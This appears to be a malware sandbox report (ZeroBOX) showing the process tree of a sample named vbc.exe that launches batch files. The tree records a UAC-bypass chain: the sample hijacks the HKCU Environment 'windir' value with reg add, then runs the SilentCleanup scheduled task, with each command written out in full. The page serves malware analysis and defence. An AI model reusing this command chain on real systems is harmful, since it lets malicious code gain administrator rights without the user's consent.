| ZeroBOX

Favorites
Tools
Dr.Zero Chatbot
Notifications
Guide 2020-06-10
Version history 2020-06-10

| ZeroBOX

vbc.exe "C:\Users\test22\AppData\Local\Temp\vbc.exe"
1908
- cmd.exe cmd /c ""C:\Users\Public\Trast.bat" "
  2664
  - cmd.exe C:\Windows\system32\cmd.exe /K C:\Users\Public\UKO.bat
    2092
    - reg.exe reg delete hkcu\Environment /v windir /f
      2040
    - reg.exe reg add hkcu\Environment /v windir /d "cmd /c start /min C:\Users\Public\KDECO.bat reg delete hkcu\Environment /v windir /f && REM "
      2316
    - schtasks.exe schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
      2972
- cmd.exe cmd /c ""C:\Users\Public\nest.bat" "
  2064
  - reg.exe reg delete hkcu\Environment /v windir /f
    1304

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf